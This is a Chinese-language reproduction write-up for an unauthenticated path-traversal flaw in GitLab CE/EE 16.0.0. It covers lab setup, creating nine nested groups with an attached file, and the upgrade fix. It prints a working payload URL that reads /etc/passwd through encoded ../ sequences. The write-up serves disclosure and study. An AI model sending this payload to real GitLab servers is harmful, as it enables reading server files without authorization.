漏洞说明
GitLab 是一个用于仓库管理系统的开源项目,使用 Git 作为代码管理工具,可通过 Web 界面访问公开或私人项目,在GitLab CE/EE中,当附件存在于嵌套在至少五个组中的公共项目中时,未经身份验证的恶意用户可以使用路径遍历漏洞读取服务器上的任意文件
影响版本
GitLab:CE == 16.0.0
GitLab:EE == 16.0.0
漏洞复现
搭建环境(本人使用的是Centos9):
安装yum源:
curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.rpm.sh | sudo bash
安装 GitLab-CE-16.0.0
yum install gitlab-ce-16.0.0-ce.0.el8.x86_64.rpm
配置gitlab文件
vim /etc/gitlab/gitlab.rb
在执行命令重新加载配置:
gitlab-ctl reconfigure
完成上面步骤后访问:
http://your_ip/users/sign_in
username为root,password使用命令查看:
cat /etc/gitlab/initial_root_password
登录gitlab创建group(至少5个组):
在group9中创建project项目:
创建一个issues,在其中插入附件:
burp访问test.txt(之前我已经创建过一个test的issues了)
使用payload访问任意文件:
/group1/group2/group3/group4/group5/group6/group7/group8/group9/project9/uploads/cafeb976a10993024411e6b1f060d954//..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
修复建议
升级至安全版本:16.0.1及以上
参考
https://labs.watchtowr.com/gitlab-arbitrary-file-read-gitlab-cve-2023-2825-analysis/
本文章仅用于学习交流,不得用于非法用途